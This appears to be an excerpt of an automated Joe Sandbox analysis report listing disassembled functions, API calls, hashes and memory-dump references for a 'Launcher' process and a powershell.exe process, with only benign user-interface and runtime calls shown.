API ID: MessageSend$#6211$RedrawWindow
String ID:
API String ID: 1685024686-0
Opcode ID: 9a3d84e6a955d869259c30f7d2f34b338415890b8a9b028e7a9c8ef84ede68a1
Instruction ID: 1ec9c85aec6d29c651e444181b3418d6b65d9b775f725e2c53906804c4691cf4
Opcode Fuzzy Hash: 9a3d84e6a955d869259c30f7d2f34b338415890b8a9b028e7a9c8ef84ede68a1
Instruction Fuzzy Hash: 3FF0AC355145507AE7311626EC1DDC76EFEEBC6B11B06151CF21E960609B652941CAA0

Function 0066C6A6 Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F02), ref: 0066C6C5
SetCursor.USER32(00000000), ref: 0066C6CC

Part of subcall function 0066C6F3: SendMessageW.USER32(?,00001009,00000000,00000000), ref: 0066C722
Part of subcall function 0066C6F3: SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 0066C78D
Part of subcall function 0066C6F3: SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 0066C79D
Part of subcall function 0066C6F3: #2634.MFC42U(00000001,?,?,?,?), ref: 0066C7C8
Part of subcall function 0066C6F3: #2634.MFC42U(00000001,00000001,?,?,?,?), ref: 0066C7D4

LoadCursorW.USER32(00000000,00007F00), ref: 0066C6DF
SetCursor.USER32(00000000), ref: 0066C6E6

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Cursor$MessageSend$#2634Load
String ID:
API String ID: 1037744270-0
Opcode ID: 5702265d392121d069bd9ae11c8d6ea6d0ffe0fc82801fcb9157263573a48c35
Instruction ID: 8f8ab78a3bbe6193e26037f0614c055a5aa64d8aec950fbf54314cb5c7085276
Opcode Fuzzy Hash: 5702265d392121d069bd9ae11c8d6ea6d0ffe0fc82801fcb9157263573a48c35
Instruction Fuzzy Hash: 91E0ED33600611BBC701AFE1AC4C99B7B1EEF873613010022FA169F102CFB86805C7E4

Function 0066D8F0 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

#2294.MFC42U(?,0000009E,?), ref: 0066D907
#2294.MFC42U(?,00000076,?,?,0000009E,?), ref: 0066D918
#2294.MFC42U(?,00000077,?,?,00000076,?,?,0000009E,?), ref: 0066D929
#2294.MFC42U(?,0000007E,?,?,00000077,?,?,00000076,?,?,0000009E,?), ref: 0066D93A

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2294
String ID:
API String ID: 314497554-0
Opcode ID: 38d839ec5628c691d1e75c880db02bd680a19cfe716b3d28e5ce9fead809fa45
Instruction ID: 2490dc431215104efe50e801b183f7bcdc88f64f006f34cd4c4637ee8358ca26
Opcode Fuzzy Hash: 38d839ec5628c691d1e75c880db02bd680a19cfe716b3d28e5ce9fead809fa45
Instruction Fuzzy Hash: 28F06C3160450C7AD710DA60DC02FBAB75EFB49740F444066BA1C85091C7B6B975CED4

Function 00670AF0 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

#2294.MFC42U(?,000000A2,?), ref: 00670B04
#2294.MFC42U(?,000000A6,?,?,000000A2,?), ref: 00670B18
#2294.MFC42U(?,00000095,?,?,000000A6,?,?,000000A2,?), ref: 00670B2C
#2294.MFC42U(?,00000070,?,?,00000095,?,?,000000A6,?,?,000000A2,?), ref: 00670B3D

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2294
String ID:
API String ID: 314497554-0
Opcode ID: 961d691974a4967dd907121e1fa605c3179baf25f2b816294cbf1f2652f2475c
Instruction ID: 2e85536d4921b11f75dee48f9bc0051d7a5a6eae83da0b3bfd8bc2f3aa6be60d
Opcode Fuzzy Hash: 961d691974a4967dd907121e1fa605c3179baf25f2b816294cbf1f2652f2475c
Instruction Fuzzy Hash: 0CF0EC312405087ED7519A21CC06FD5B76DEB45300F408032BA1C850A1DB72A979DBD4

Function 0066CAA0 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

#2294.MFC42U(?,00000093,?), ref: 0066CAB4
#2294.MFC42U(?,0000008E,?,?,00000093,?), ref: 0066CAC8
#2293.MFC42U(?,00000080,?,?,0000008E,?,?,00000093,?), ref: 0066CADC
#2362.MFC42U(?,00000082,?,?,00000080,?,?,0000008E,?,?,00000093,?), ref: 0066CAF0

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2294$#2293#2362
String ID:
API String ID: 983985581-0
Opcode ID: da330a662afc8fc8bf956b6e53a61390e624d0649671c4ba55d989809ef528fb
Instruction ID: 9fb5d48da0f6ef2f40d4adc845f1ad0505011377b211fc4b8a15f440f9340d72
Opcode Fuzzy Hash: da330a662afc8fc8bf956b6e53a61390e624d0649671c4ba55d989809ef528fb
Instruction Fuzzy Hash: 05F065322405097AD7519A50DC02FEABB5EFB44710F40C136BA1C864A1DBB2AA69DBD4

Function 0066C620 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

#2294.MFC42U(?,000000A2,?), ref: 0066C634
#2294.MFC42U(?,000000A6,?,?,000000A2,?), ref: 0066C648
#2294.MFC42U(?,00000095,?,?,000000A6,?,?,000000A2,?), ref: 0066C65C
#2294.MFC42U(?,00000070,?,?,00000095,?,?,000000A6,?,?,000000A2,?), ref: 0066C66D

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2294
String ID:
API String ID: 314497554-0
Opcode ID: 99eeaa3b270ed1fea4ed126587ffeb075330a1d6fcb3241ea659cc9ab8150847
Instruction ID: b24c6dd42ad6612dc09d0a6c439b0c7af9098ab8b65ab84addd417bc92c21f61
Opcode Fuzzy Hash: 99eeaa3b270ed1fea4ed126587ffeb075330a1d6fcb3241ea659cc9ab8150847
Instruction Fuzzy Hash: 58F06C71240509BEE7119A51DC07F95B75EEB45740F40C036BA1C850A1D772A975DBD4

Function 0067ED80 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 0067FB48: GetModuleHandleW.KERNEL32(00000000), ref: 0067FB4F

__set_app_type.MSVCRT ref: 0067ED92
__p__fmode.MSVCRT ref: 0067EDA8
__p__commode.MSVCRT ref: 0067EDB6
__setusermatherr.MSVCRT ref: 0067EDD7

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: afe2ca31e549ff57c781a35d7325df9aac21fd54d50667b11d0da6d1e5dd803e
Instruction ID: 3d6de95c4c5917a6e38026a794bc7da6462ff99d55f734706bd93f81dc7daa8f
Opcode Fuzzy Hash: afe2ca31e549ff57c781a35d7325df9aac21fd54d50667b11d0da6d1e5dd803e
Instruction Fuzzy Hash: 5DF0F874500311EFD368AB30EC2E9083BA3EB05F21B11A72EE065863F1DFB98540CB10

Function 0066C920 Relevance: 6.0, APIs: 4, Instructions: 22windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0066C938
#2634.MFC42U(00000000), ref: 0066C946
#6195.MFC42U(006621A0,00000000), ref: 0066C952
#2634.MFC42U(00000001), ref: 0066C95B

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2634$#6195MessageSend
String ID:
API String ID: 2287514142-0
Opcode ID: 827117f4950e40ff7964c5267675265047e2c1c9c9d6ae1a3c7f301b8f98ecaf
Instruction ID: 0c6799fcd233c617f2292edcdae529d170e5ff5bc5752c27247ce0b8901c2110
Opcode Fuzzy Hash: 827117f4950e40ff7964c5267675265047e2c1c9c9d6ae1a3c7f301b8f98ecaf
Instruction Fuzzy Hash: 3CE0123138432267FB712620BC07FD92A138B84F61F5641A8F70C2E1D7CEA2594781D9

Function 00671AC0 Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

#6205.MFC42U(?,00000001,00000001), ref: 00671AD1
#6205.MFC42U(?,00000001,00000001,?,00000001,00000001), ref: 00671AE1
#6211.MFC42U(00000001,?,00000001,00000001,?,00000001,00000001), ref: 00671AE9
#2385.MFC42U(00000001,?,00000001,00000001,?,00000001,00000001), ref: 00671AF1

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #6205$#2385#6211
String ID:
API String ID: 1216781411-0
Opcode ID: 9619a37778481ed5aeed8220f994b6fbe8c4aa624ded816f7ed21cded2008f51
Instruction ID: bac588d78e747b39a2f6790244738cf91e7abd1d16a84f4268887b883b87e402
Opcode Fuzzy Hash: 9619a37778481ed5aeed8220f994b6fbe8c4aa624ded816f7ed21cded2008f51
Instruction Fuzzy Hash: CFE0CDA560021427CF70EBF588D5CEFB79FFB4C344740845D705E97141D9215D084764

Function 0067B37C Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0067B383
#324.MFC42U(00000083,?,00000004,00672D50,?,800E373A), ref: 0067B395
#540.MFC42U(00000083,?,00000004,00672D50,?,800E373A), ref: 0067B3A7
#861.MFC42U(006621A0,00000083,?,00000004,00672D50,?,800E373A), ref: 0067B3B8

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #324#540#861H_prolog3
String ID:
API String ID: 2127517272-0
Opcode ID: 69eb6d5de6fe2f0f8b68a0882092f892bcd3739527ada4f011d00898fd0c6782
Instruction ID: 82ec602ffb4303cd4efd6e370bffe254616f9aaa2c6e5e504a85de9b7f62798a
Opcode Fuzzy Hash: 69eb6d5de6fe2f0f8b68a0882092f892bcd3739527ada4f011d00898fd0c6782
Instruction Fuzzy Hash: 70E04FB1A00705EBD755FBA48812F9CBA63BFA5310F10805CF2084B282DFF14615C7AA

Function 006715C0 Relevance: 6.0, APIs: 4, Instructions: 17COMMON

Download Yara Rule

APIs

#736.MFC42U(?,0067161D), ref: 006715D7
#807.MFC42U(?,0067161D), ref: 006715E2
#796.MFC42U(?,0067161D), ref: 006715ED
#794.MFC42U(?,0067161D), ref: 006715F8

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #736#794#796#807
String ID:
API String ID: 2485769241-0
Opcode ID: b520a8d61e5a3db0b58ba003704b13bc942c57cb3ed530bc6273ab04111d3dbf
Instruction ID: 817775393f794dad20edaf7b2cc2c79a591d16b7786a8c30c3da44c0d7f25afa
Opcode Fuzzy Hash: b520a8d61e5a3db0b58ba003704b13bc942c57cb3ed530bc6273ab04111d3dbf
Instruction Fuzzy Hash: A6E0EC310066118BC365EF64D9619DABBE3FF99710F208AED906B47151EF722A09CB98

Function 0066C53F Relevance: 6.0, APIs: 4, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

#693.MFC42U(?,0066C5BD), ref: 0066C550
#609.MFC42U(?,0066C5BD), ref: 0066C55B
#609.MFC42U(?,0066C5BD), ref: 0066C566
#609.MFC42U(?,0066C5BD), ref: 0066C56E

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #609$#693
String ID:
API String ID: 2192965535-0
Opcode ID: 09877052648aeb0a2f5cd7f3514fa3c642eeae78def30597dc77d26b8a902a52
Instruction ID: c60f35de9a1592a0806b7f0f70c6d9cef9b94fbed7c66d19d2e581d8e08d7d7f
Opcode Fuzzy Hash: 09877052648aeb0a2f5cd7f3514fa3c642eeae78def30597dc77d26b8a902a52
Instruction Fuzzy Hash: 3CD01731000A129BC378EB30D4619EAF7A3AF583A0F61896EA1AB03151FF612A0CC754

Function 00673E89 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

#540.MFC42U(800E373A,?,?,00000000,00000000,006809C4,000000FF,?,00672016), ref: 00673ECE
#540.MFC42U(800E373A,?,?,00000000,00000000,006809C4,000000FF,?,00672016), ref: 00673EE0

Strings

pyg, xrefs: 00673EC2

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #540
String ID: pyg
API String ID: 747650028-2258339590
Opcode ID: 20019a1809c08eed4295eedd22e6c71467f51c582a1c45d98a8e8bf9f04c45c3
Instruction ID: 3ec23c14b07335f64d1f060c3f5c17ff123b3a502b6ecd4fade2ed71deecbe32
Opcode Fuzzy Hash: 20019a1809c08eed4295eedd22e6c71467f51c582a1c45d98a8e8bf9f04c45c3
Instruction Fuzzy Hash: DC218972A002199FDF05DF98C856BAFB7B6FF41724F104A59E421AF391C7B1A900CB54

Function 0067D473 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

StringFromGUID2.OLE32(?,?,00000028,?,?), ref: 0067D4A1
wsprintfW.USER32 ref: 0067D4B2

Strings

CLSID\%s\%s, xrefs: 0067D4AC

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: FromStringwsprintf
String ID: CLSID\%s\%s
API String ID: 1205525775-576494604
Opcode ID: 695217a1435c616c7b475a44d982eaa572840a7e35a18d2934692f47e6bd46d7
Instruction ID: 774cb13f83c0af2253fb872e74bddab06486209fd4b8281d82f0cf5d9f609e3f
Opcode Fuzzy Hash: 695217a1435c616c7b475a44d982eaa572840a7e35a18d2934692f47e6bd46d7
Instruction Fuzzy Hash: FCF01D72A00208AB8B00DF99DD45DEF77FEEB86715B114125FD06AB140DA75AB09CBE4

Function 006740E6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00679137: CoFreeUnusedLibraries.OLE32(00674689,00000000,?), ref: 006791A2

#800.MFC42U(800E373A,?,?,006809DF,000000FF), ref: 00674128
#800.MFC42U(800E373A,?,?,006809DF,000000FF), ref: 00674133

Strings

pyg, xrefs: 00674111

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$FreeLibrariesUnused
String ID: pyg
API String ID: 2298315438-2258339590
Opcode ID: f189f498d93653694d72b3c93080d45eb58e8a949f8eaa5ce441caf6c1ee27af
Instruction ID: e54af2fafe85197ea3bfb9978749b73a9ac0bc2f0823538d5e903d20ac9c36a4
Opcode Fuzzy Hash: f189f498d93653694d72b3c93080d45eb58e8a949f8eaa5ce441caf6c1ee27af
Instruction Fuzzy Hash: 21F017B1A04159DBCB49EF94DC91BAEB7B6FB49B14F004A2DE426A7781CB356800CB14

Function 00673CFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

#543.MFC42U(00000000,?,00000000,?,00673E30), ref: 00673D0A
InitializeCriticalSection.KERNEL32(00000008,00000000,?,00000000,?,00673E30), ref: 00673D19

Strings

`g, xrefs: 00673D12

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #543CriticalInitializeSection
String ID: `g
API String ID: 3994007337-2645773341
Opcode ID: 25947ef98394c3175f31e8192701a1a410b09c07792f884b0f4e5f4c5a6b63ac
Instruction ID: 2d9d8e9dbf2d0953440d6d0f9482a888509b54feb67953a928d572366f35bc5b
Opcode Fuzzy Hash: 25947ef98394c3175f31e8192701a1a410b09c07792f884b0f4e5f4c5a6b63ac
Instruction Fuzzy Hash: DDD0A7B16003157BC7206F85CC0AA877AEDDB45710F00015AF95597240EAF1ED0087D0

Function 00673F53 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

#303.MFC42U(SysTreeView32,50800000,?,000000FF,?,00673D6D,800E373A,?,00000000,00680996,000000FF,?,00672096), ref: 00673F69

Strings

g, xrefs: 00673F6E
SysTreeView32, xrefs: 00673F61

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #303
String ID: g$SysTreeView32
API String ID: 3581465568-3316930138
Opcode ID: ea7eca111e77fdde54268f1eeaef3104a47916826f346c52a033bd3a92f0b766
Instruction ID: a38c2d851e85fe294fc6df51ccdbca8eb79b4cd71b8c5f3295ea8a8822df9fc1
Opcode Fuzzy Hash: ea7eca111e77fdde54268f1eeaef3104a47916826f346c52a033bd3a92f0b766
Instruction Fuzzy Hash: 43C012B16046247786201B868C07D467E5DDA80AA0F110159B41457201FAF1AD00C7D8

Function 0066EE70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

#4709.MFC42U ref: 0066EE75
#6195.MFC42U(System Configuration), ref: 0066EE81

Strings

System Configuration, xrefs: 0066EE7A

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #4709#6195
String ID: System Configuration
API String ID: 513596607-3459905039
Opcode ID: fa8c3bcb4469535a4cdf72a45d4880a473e0c0ce7c2db2356f6e1131d36bfd73
Instruction ID: 115da33e1d7cc7a219b621f9a39fa6b614892f24129d7a5b4447935fa582956b
Opcode Fuzzy Hash: fa8c3bcb4469535a4cdf72a45d4880a473e0c0ce7c2db2356f6e1131d36bfd73
Instruction Fuzzy Hash: 1AB09222B656B02656F47134380289E004B9ACA7203A645BAB41AEB391DC96CE0A02C9

Function 0067C5CA Relevance: 5.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0067C5E5
free.MSVCRT ref: 0067C5F5
free.MSVCRT ref: 0067C605
free.MSVCRT ref: 0067C615

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: fc352950512e54f5aa14ca191f964ecc21b23e5a3b34386fe0c1108256d7cf0b
Instruction ID: 226eda971a01ae14ae1a50b11505d08cb8528542e6d761b83347ed39e7f47402
Opcode Fuzzy Hash: fc352950512e54f5aa14ca191f964ecc21b23e5a3b34386fe0c1108256d7cf0b
Instruction Fuzzy Hash: 11F0B231011612DFE7351B14E808BC67BE2EB00732F16991DD069505B1DB75A8D4CF00

Analysis Process: powershell.exePID: 4164, Parent PID: 1848COMMON

Executed Functions

Function 04EFB490 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2e8a9b498d9d2875fbc8e6889dc0b89a4dfa37d73bdf411c7cce5c01cc98e90
Instruction ID: 8d1ccac0a6005e3b65cdb0c2875ab62f3e420e38e033e174d15739d23fdcd573
Opcode Fuzzy Hash: a2e8a9b498d9d2875fbc8e6889dc0b89a4dfa37d73bdf411c7cce5c01cc98e90
Instruction Fuzzy Hash: 75918170F007159BEB29EFB889116AE7BE2EFC4600B00C92DD51AAB354DF35AD058BD5

Function 04EFB4A0 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a242ad74c807b8d2d239b5f6d85cbde33603aabfe4988d9017bdc994a70dc02d
Instruction ID: 2ca35afa3888a77ac9da3af313d5db035102056fb4b172cfd14ee90a6cd600c1
Opcode Fuzzy Hash: a242ad74c807b8d2d239b5f6d85cbde33603aabfe4988d9017bdc994a70dc02d
Instruction Fuzzy Hash: B6918270F007159BEB29EFB889116AE77E2EFC4600B00C92DD51AAB358DF35AD058BD5

Function 07CE2308 Relevance: 20.7, Strings: 16, Instructions: 656COMMON

Download Yara Rule

Strings

|,8j, xrefs: 07CE25DB
pi6j, xrefs: 07CE2416
rnk, xrefs: 07CE2559
Jok, xrefs: 07CE23D1
4'jq, xrefs: 07CE260D
Jok, xrefs: 07CE237F
Jok, xrefs: 07CE259E
4'jq, xrefs: 07CE2619
Jok, xrefs: 07CE23C5
pi6j, xrefs: 07CE2582
pi6j, xrefs: 07CE23A0
pi6j, xrefs: 07CE2363
pi6j, xrefs: 07CE23B0
Jok, xrefs: 07CE25F6
rnk, xrefs: 07CE254F
Jok, xrefs: 07CE25EA

Memory Dump Source

Source File: 00000004.00000002.2161370987.0000000007CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ce0000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$pi6j$pi6j$pi6j$pi6j$pi6j$|,8j$Jok$Jok$Jok$Jok$Jok$Jok$rnk$rnk
API String ID: 0-3380130301
Opcode ID: e6be0363a08ea181fdc487b0164e5de1d7e667b3713483e477a63272be02da1e
Instruction ID: 72ac58f1e5c0d81483ebe9a1f7d76339c6a0b1f6416b66f6db770b1e6e4f8f52
Opcode Fuzzy Hash: e6be0363a08ea181fdc487b0164e5de1d7e667b3713483e477a63272be02da1e
Instruction Fuzzy Hash: 302227B17046069FCB158F69D9807AABBEEFF85311F04807AD505CB252CB39DE45CBA2

Function 07CE3CE8 Relevance: 5.6, Strings: 4, Instructions: 584COMMON

Download Yara Rule

Strings

4'jq, xrefs: 07CE418A
4'jq, xrefs: 07CE4026
4'jq, xrefs: 07CE4030
4'jq, xrefs: 07CE4180

Memory Dump Source

